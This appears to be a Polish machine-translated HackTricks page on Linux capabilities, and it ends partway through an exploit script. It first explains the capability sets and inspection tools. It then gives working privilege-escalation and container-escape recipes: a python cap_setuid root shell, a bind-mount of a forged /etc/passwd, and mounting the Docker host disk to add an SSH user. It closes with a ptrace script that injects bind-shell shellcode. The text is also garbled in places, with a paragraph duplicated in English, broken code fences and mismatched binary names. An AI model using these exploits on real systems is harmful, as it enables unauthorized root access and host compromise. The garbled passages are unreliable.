Linux Capabilities

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

​​​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres stanowi wrzące miejsce spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.\

Linux Capabilities

Linux capabilities dzielą uprawnienia roota na mniejsze, odrębne jednostki, pozwalając procesom na posiadanie podzbioru uprawnień. Dzięki temu minimalizuje się ryzyko, nie przyznając niepotrzebnie pełnych uprawnień roota.

Problem:

  • Zwykli użytkownicy mają ograniczone uprawnienia, co wpływa na zadania takie jak otwieranie gniazd sieciowych, które wymagają dostępu roota.

Zbiory uprawnień:

  1. Dziedziczone (CapInh):

  • Cel: Określa uprawnienia przekazywane przez proces nadrzędny.

  • Funkcjonalność: Gdy tworzony jest nowy proces, dziedziczy on uprawnienia z tego zbioru po swoim rodzicu. Przydatne do utrzymania określonych uprawnień w procesach potomnych.

  • Ograniczenia: Proces nie może uzyskać uprawnień, których jego rodzic nie posiadał.

  1. Efektywne (CapEff):

  • Cel: Reprezentuje aktualnie wykorzystywane przez proces uprawnienia.

  • Funkcjonalność: Jest to zbiór uprawnień, których jądro sprawdza, aby udzielić zgody na różne operacje. Dla plików, ten zbiór może być flagą wskazującą, czy uprawnienia dozwolone pliku mają być uważane za efektywne.

  • Znaczenie: Zbiór efektywny jest kluczowy dla natychmiastowych sprawdzeń uprawnień, działając jako aktywny zbiór uprawnień, który może być używany przez proces.

  1. Dozwolone (CapPrm):

  • Cel: Określa maksymalny zbiór uprawnień, jakie proces może posiadać.

  • Funkcjonalność: Proces może podnieść uprawnienie ze zbioru dozwolonego do zbioru efektywnego, dając mu możliwość korzystania z tego uprawnienia. Może również odrzucić uprawnienia ze zbioru dozwolonego.

  • Granica: Działa jako górne ograniczenie dla uprawnień, jakie proces może mieć, zapewniając, że proces nie przekracza określonego zakresu uprawnień.

  1. Ograniczające (CapBnd):

  • Cel: Ustala górną granicę uprawnień, jakie proces może zdobyć w trakcie swojego cyklu życia.

  • Funkcjonalność: Nawet jeśli proces ma określone uprawnienie w swoim zbiorze dziedzicznym lub dozwolonym, nie może zdobyć tego uprawnienia, chyba że jest również w zbiorze ograniczającym.

  • Przykład użycia: Ten zbiór jest szczególnie przydatny do ograniczania potencjału eskalacji uprawnień procesu, dodając dodatkową warstwę zabezpieczeń.

  1. Środowiskowe (CapAmb):

  • Cel: Pozwala na utrzymanie określonych uprawnień podczas wywołania systemowego execve, które zwykle powoduje pełne zresetowanie uprawnień procesu.

  • Funkcjonalność: Zapewnia, że programy nie-SUID, które nie mają powiązanych uprawnień plików, mogą zachować określone uprawnienia.

  • Ograniczenia: Uprawnienia w tym zbiorze podlegają ograniczeniom zbiorów dziedzicznego i dozwolonego, zapewniając, że nie przekraczają one dozwolonych uprawnień procesu.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Aby uzyskać dalsze informacje, sprawdź:

Uprawnienia procesów i plików binarnych

Uprawnienia procesów

Aby zobaczyć uprawnienia dla danego procesu, użyj pliku status w katalogu /proc. Ponieważ dostarcza on więcej szczegółów, ograniczmy go tylko do informacji dotyczących uprawnień systemu Linux. Zauważ, że dla wszystkich działających procesów informacje o uprawnieniach są przechowywane na poziomie wątku, a dla plików binarnych w systemie plików są one przechowywane w rozszerzonych atrybutach.

Możesz znaleźć zdefiniowane uprawnienia w pliku /usr/include/linux/capability.h

Możesz znaleźć uprawnienia bieżącego procesu w cat /proc/self/status lub wykonując capsh --print, a uprawnienia innych użytkowników w /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Ten polecenie powinno zwrócić 5 linii na większości systemów.

  • CapInh = Dziedziczone uprawnienia

  • CapPrm = Dozwolone uprawnienia

  • CapEff = Efektywne uprawnienia

  • CapBnd = Zestaw graniczny

  • CapAmb = Zestaw uprawnień środowiskowych

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Te liczby szesnastkowe nie mają sensu. Za pomocą narzędzia capsh możemy je odkodować na nazwę uprawnień.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Sprawdźmy teraz uprawnienia używane przez ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Chociaż to działa, istnieje inny i prostszy sposób. Aby zobaczyć uprawnienia działającego procesu, wystarczy użyć narzędzia getpcaps po którym podajemy jego identyfikator procesu (PID). Można również podać listę identyfikatorów procesów.

getpcaps 1234

Sprawdźmy tutaj uprawnienia tcpdump po nadaniu wystarczających uprawnień binarnemu (cap_net_admin i cap_net_raw) do podsłuchiwania sieci (tcpdump działa w procesie 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Jak widać, podane uprawnienia odpowiadają wynikom dwóch sposobów uzyskiwania uprawnień dla pliku binarnego. Narzędzie getpcaps korzysta z wywołania systemowego capget(), aby zapytać o dostępne uprawnienia dla określonego wątku. Wywołanie systemowe to wymaga tylko podania identyfikatora PID, aby uzyskać więcej informacji.

Uprawnienia plików binarnych

Pliki binarne mogą mieć uprawnienia, które mogą być używane podczas wykonywania. Na przykład, bardzo często można znaleźć plik binarny ping z uprawnieniem cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Możesz wyszukiwać binarne z uprawnieniami za pomocą:

getcap -r / 2>/dev/null

Zrzucanie uprawnień za pomocą capsh

Jeśli zrzucimy uprawnienia CAP_NET_RAW dla ping, to narzędzie ping przestanie działać.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Oprócz samego wyniku capsh, również samo polecenie tcpdump powinno wywołać błąd.

/bin/bash: /usr/sbin/tcpdump: Operacja niedozwolona

Błąd jednoznacznie pokazuje, że polecenie ping nie ma uprawnień do otwarcia gniazda ICMP. Teraz wiemy na pewno, że to działa zgodnie z oczekiwaniami.

Usuwanie uprawnień

Możesz usunąć uprawnienia binarnego pliku za pomocą

setcap -r </path/to/binary>

Uprawnienia użytkownika

Wygląda na to, że można przypisać uprawnienia również do użytkowników. Oznacza to prawdopodobnie, że każdy proces uruchomiony przez użytkownika będzie mógł korzystać z jego uprawnień. Na podstawie tego, tego i tego kilka plików musi zostać skonfigurowanych, aby nadać użytkownikowi określone uprawnienia, ale plik odpowiedzialny za przypisanie uprawnień do każdego użytkownika to /etc/security/capability.conf. Przykład pliku:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Zdolności środowiskowe

Kompilując poniższy program, można uruchomić powłokę bash w środowisku, które udostępnia zdolności.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Wewnątrz bash uruchomionego przez skompilowany plik binarny środowiskowy można zauważyć nowe uprawnienia (zwykły użytkownik nie będzie miał żadnych uprawnień w sekcji "aktualnej").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Możesz dodać tylko uprawnienia, które są obecne zarówno w zestawie dozwolonych, jak i dziedzicznych.

Binarki świadome uprawnień / Binarki nieświadome uprawnień

Binarki świadome uprawnień nie będą korzystać z nowych uprawnień przekazanych przez środowisko, natomiast binarki nieświadome uprawnień będą z nich korzystać, ponieważ nie odrzucą ich. Oznacza to, że binarki nieświadome uprawnień są podatne w specjalnym środowisku, które przyznaje uprawnienia binarnym.

Uprawnienia usługi

Domyślnie usługa uruchomiona jako root będzie miała przypisane wszystkie uprawnienia, a w niektórych przypadkach może to być niebezpieczne. Dlatego plik konfiguracyjny usługi pozwala na określenie uprawnień, które chcesz, aby miała, oraz użytkownika, który powinien wykonywać usługę, aby uniknąć uruchamiania usługi z niepotrzebnymi uprawnieniami:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Uprawnienia w kontenerach Docker

Domyślnie Docker przypisuje kilka uprawnień do kontenerów. Bardzo łatwo sprawdzić, jakie są te uprawnienia, wykonując polecenie:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Eskalacja uprawnień/Ucieczka z kontenera

Można wykorzystać zdolności, gdy chcesz ograniczyć własne procesy po wykonaniu uprzywilejowanych operacji (np. po skonfigurowaniu chroot i powiązaniu z gniazdem). Jednak mogą być one wykorzystane przez przekazywanie im złośliwych poleceń lub argumentów, które są następnie uruchamiane jako root.

Możesz wymusić zdolności na programach za pomocą setcap i sprawdzić je za pomocą getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep oznacza, że dodajesz zdolność ("-" usuwa ją) jako Efektywną i Dozwoloną.

Aby zidentyfikować programy w systemie lub folderze posiadające zdolności:

getcap -r / 2>/dev/null

Przykład wykorzystania

W poniższym przykładzie stwierdzono, że binarny plik /usr/bin/python2.6 jest podatny na eskalację uprawnień:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Zdolności potrzebne przez tcpdump, aby umożliwić dowolnemu użytkownikowi podsłuchiwanie pakietów:

To allow any user to sniff packets using `tcpdump`, the following capabilities need to be set:

1. `CAP_NET_RAW`: This capability allows the user to create raw sockets, which is necessary for packet sniffing.

To set these capabilities, you can use the `setcap` command:

```bash
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump

After setting the capabilities, any user will be able to run tcpdump and sniff packets without requiring root privileges.

Zdolności potrzebne przez tcpdump, aby umożliwić dowolnemu użytkownikowi podsłuchiwanie pakietów:

Aby umożliwić dowolnemu użytkownikowi podsłuchiwanie pakietów za pomocą `tcpdump`, należy ustawić następujące zdolności:

1. `CAP_NET_RAW`: Ta zdolność umożliwia użytkownikowi tworzenie gniazd surowych, co jest niezbędne do podsłuchiwania pakietów.

Aby ustawić te zdolności, można użyć polecenia `setcap`:

```bash
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump

Po ustawieniu zdolności, dowolny użytkownik będzie mógł uruchomić tcpdump i podsłuchiwać pakiety bez konieczności posiadania uprawnień roota.

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

Specjalny przypadek "pustych" uprawnień

Z dokumentacji: Należy zauważyć, że można przypisać puste zbiory uprawnień do pliku programu, co oznacza, że można utworzyć program z ustawionym identyfikatorem użytkownika root, który zmienia efektywny i zapisany identyfikator użytkownika do 0, ale nie nadaje żadnych uprawnień temu procesowi. Innymi słowy, jeśli masz plik binarny, który:

  1. nie jest własnością roota,

  2. nie ma ustawionych bitów SUID/SGID,

  3. ma pusty zbiór uprawnień (np. getcap myelf zwraca myelf =ep),

to ten plik binarny zostanie uruchomiony jako root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN to bardzo potężne uprawnienie w systemie Linux, często porównywane do poziomu roota ze względu na swoje rozległe uprawnienia administracyjne, takie jak montowanie urządzeń czy manipulowanie funkcjami jądra. Chociaż jest niezbędne dla kontenerów symulujących całe systemy, CAP_SYS_ADMIN stanowi znaczne wyzwanie dla bezpieczeństwa, zwłaszcza w środowiskach konteneryzowanych, ze względu na możliwość eskalacji uprawnień i kompromitacji systemu. Dlatego jego użycie wymaga rygorystycznej oceny bezpieczeństwa i ostrożnego zarządzania, z silnym naciskiem na odrzucenie tego uprawnienia w kontenerach specyficznych dla aplikacji, aby przestrzegać zasady najmniejszych uprawnień i zminimalizować powierzchnię ataku.

Przykład z plikiem binarnym

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Za pomocą pythona można zamontować zmodyfikowany plik passwd na oryginalnym pliku passwd:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

I na koniec zamontuj zmodyfikowany plik passwd w lokalizacji /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

I będziesz w stanie su jako root używając hasła "password".

Przykład z środowiskiem (Docker breakout)

Możesz sprawdzić włączone uprawnienia wewnątrz kontenera Docker za pomocą:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

W poprzednim wyniku można zobaczyć, że możliwość SYS_ADMIN jest włączona.

  • Montowanie

To pozwala kontenerowi Docker na montowanie dysku hosta i swobodny dostęp do niego:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Pełny dostęp

W poprzedniej metodzie udało nam się uzyskać dostęp do dysku hosta Docker. Jeśli zauważysz, że host uruchamia serwer ssh, możesz utworzyć użytkownika wewnątrz dysku hosta Docker i uzyskać do niego dostęp za pomocą SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

To oznacza, że możesz uciec z kontenera, wstrzykując shellcode do pewnego procesu działającego wewnątrz hosta. Aby uzyskać dostęp do procesów działających wewnątrz hosta, kontener musi być uruchomiony przynajmniej z opcją --pid=host.

CAP_SYS_PTRACE umożliwia korzystanie z funkcji debugowania i śledzenia wywołań systemowych dostarczanych przez ptrace(2) oraz wywołań dołączania pamięci międzyprocesowej, takich jak process_vm_readv(2) i process_vm_writev(2). Chociaż jest to potężne narzędzie do celów diagnostycznych i monitorowania, jeśli CAP_SYS_PTRACE jest włączone bez restrykcyjnych środków, takich jak filtr seccomp dla ptrace(2), może to znacznie osłabić bezpieczeństwo systemu. W szczególności, może być wykorzystane do obejścia innych ograniczeń bezpieczeństwa, zwłaszcza tych narzuconych przez seccomp, jak pokazują dowody koncepcyjne (PoC) takie jak ten.

Przykład z użyciem pliku binarnego (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.